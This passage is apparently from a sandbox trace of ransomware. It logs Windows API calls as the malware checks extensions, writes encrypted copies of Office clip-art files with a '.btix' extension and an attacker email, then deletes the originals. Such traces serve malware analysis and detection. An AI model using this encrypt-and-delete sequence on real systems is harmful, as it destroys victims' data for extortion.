(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0134.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.576] lstrlenW (lpString=".doc") returned 4 [0134.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.576] lstrlenW (lpString=".docx") returned 5 [0134.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.576] lstrlenW (lpString=".pdf") returned 4 [0134.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.576] lstrlenW (lpString=".xls") returned 4 [0134.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.576] lstrlenW (lpString=".xlsx") returned 5 [0134.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.576] lstrlenW (lpString=".ppt") returned 4 [0134.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.576] lstrlenW (lpString=".zip") returned 4 [0134.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.576] lstrlenW (lpString=".rar") returned 4 [0134.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.576] lstrlenW (lpString=".bz2") returned 4 [0134.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString=".7z") returned 3 [0134.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString=".dbf") returned 4 [0134.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString=".1cd") returned 4 [0134.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString=".jpg") returned 4 [0134.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString=".doc") returned 4 [0134.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString=".docx") returned 5 [0134.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.577] lstrlenW (lpString=".pdf") returned 4 [0134.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString=".xls") returned 4 [0134.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.577] lstrlenW (lpString=".xlsx") returned 5 [0134.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.577] lstrlenW (lpString=".ppt") returned 4 [0134.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.577] lstrlenW (lpString=".zip") returned 4 [0134.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.578] lstrlenW (lpString=".rar") returned 4 [0134.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.578] lstrlenW (lpString=".bz2") returned 4 [0134.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.578] lstrlenW (lpString=".7z") returned 3 [0134.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.578] lstrlenW (lpString=".dbf") returned 4 [0134.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.578] lstrlenW (lpString=".1cd") returned 4 [0134.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0134.578] lstrlenW (lpString=".jpg") returned 4 [0134.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.578] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.578] lstrlenW (lpString="IN00351_.WMF") returned 12 [0134.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.579] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1928) returned 1 [0134.579] CloseHandle (hObject=0x530) returned 1 [0134.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0134.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.579] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.579] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.580] GetLastError () returned 0x0 [0134.580] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x788, lpOverlapped=0x0) returned 1 [0134.596] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x790, lpOverlapped=0x0) returned 1 [0134.597] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.597] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.597] SetEndOfFile (hFile=0x4ac) returned 1 [0134.597] CloseHandle (hObject=0x4ac) returned 1 [0134.597] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.597] SetEndOfFile (hFile=0x530) returned 1 [0134.599] CloseHandle (hObject=0x530) returned 1 [0134.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0134.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.600] lstrlenW (lpString=".doc") returned 4 [0134.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.600] lstrlenW (lpString=".docx") returned 5 [0134.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.600] lstrlenW (lpString=".pdf") returned 4 [0134.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString=".xls") returned 4 [0134.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.601] lstrlenW (lpString=".xlsx") returned 5 [0134.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.601] lstrlenW (lpString=".ppt") returned 4 [0134.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString=".zip") returned 4 [0134.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.601] lstrlenW (lpString=".rar") returned 4 [0134.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString=".bz2") returned 4 [0134.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString=".7z") returned 3 [0134.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString=".dbf") returned 4 [0134.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString=".1cd") returned 4 [0134.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString=".jpg") returned 4 [0134.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.601] lstrlenW (lpString=".doc") returned 4 [0134.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.601] lstrlenW (lpString=".docx") returned 5 [0134.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.602] lstrlenW (lpString=".pdf") returned 4 [0134.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString=".xls") returned 4 [0134.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.602] lstrlenW (lpString=".xlsx") returned 5 [0134.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.602] lstrlenW (lpString=".ppt") returned 4 [0134.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.602] lstrlenW (lpString=".zip") returned 4 [0134.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.602] lstrlenW (lpString=".rar") returned 4 [0134.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString=".bz2") returned 4 [0134.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString=".7z") returned 3 [0134.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.602] lstrlenW (lpString=".dbf") returned 4 [0134.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.602] lstrlenW (lpString=".1cd") returned 4 [0134.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0134.602] lstrlenW (lpString=".jpg") returned 4 [0134.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.602] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.603] lstrlenW (lpString="IN00557_.WMF") returned 12 [0134.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.603] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=9172) returned 1 [0134.603] CloseHandle (hObject=0x530) returned 1 [0134.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0134.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.604] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.604] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.604] GetLastError () returned 0x0 [0134.604] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0134.977] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0134.977] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.977] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.978] SetEndOfFile (hFile=0x4ac) returned 1 [0134.978] CloseHandle (hObject=0x4ac) returned 1 [0134.978] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.978] SetEndOfFile (hFile=0x530) returned 1 [0134.980] CloseHandle (hObject=0x530) returned 1 [0134.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0135.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.700] lstrlenW (lpString=".doc") returned 4 [0135.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.700] lstrlenW (lpString=".docx") returned 5 [0135.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.701] lstrlenW (lpString=".pdf") returned 4 [0135.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString=".xls") returned 4 [0135.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.701] lstrlenW (lpString=".xlsx") returned 5 [0135.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.701] lstrlenW (lpString=".ppt") returned 4 [0135.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString=".zip") returned 4 [0135.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.701] lstrlenW (lpString=".rar") returned 4 [0135.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString=".bz2") returned 4 [0135.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString=".7z") returned 3 [0135.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString=".dbf") returned 4 [0135.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString=".1cd") returned 4 [0135.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString=".jpg") returned 4 [0135.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.701] lstrlenW (lpString=".doc") returned 4 [0135.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.701] lstrlenW (lpString=".docx") returned 5 [0135.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.702] lstrlenW (lpString=".pdf") returned 4 [0135.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString=".xls") returned 4 [0135.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.702] lstrlenW (lpString=".xlsx") returned 5 [0135.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.702] lstrlenW (lpString=".ppt") returned 4 [0135.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.702] lstrlenW (lpString=".zip") returned 4 [0135.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.702] lstrlenW (lpString=".rar") returned 4 [0135.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString=".bz2") returned 4 [0135.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString=".7z") returned 3 [0135.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.702] lstrlenW (lpString=".dbf") returned 4 [0135.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.702] lstrlenW (lpString=".1cd") returned 4 [0135.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0135.702] lstrlenW (lpString=".jpg") returned 4 [0135.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.702] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0135.702] lstrlenW (lpString="J0090027.WMF") returned 12 [0135.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.703] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=21268) returned 1 [0135.703] CloseHandle (hObject=0x534) returned 1 [0135.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0135.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0135.703] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.704] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0135.704] GetLastError () returned 0x0 [0135.704] ReadFile (in: hFile=0x534, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x5314, lpOverlapped=0x0) returned 1 [0135.706] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x5320, lpOverlapped=0x0) returned 1 [0135.707] ReadFile (in: hFile=0x534, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.707] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.707] SetEndOfFile (hFile=0x4c0) returned 1 [0135.707] CloseHandle (hObject=0x4c0) returned 1 [0135.707] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.708] SetEndOfFile (hFile=0x534) returned 1 [0135.710] CloseHandle (hObject=0x534) returned 1 [0135.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0135.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0135.711] lstrlenW 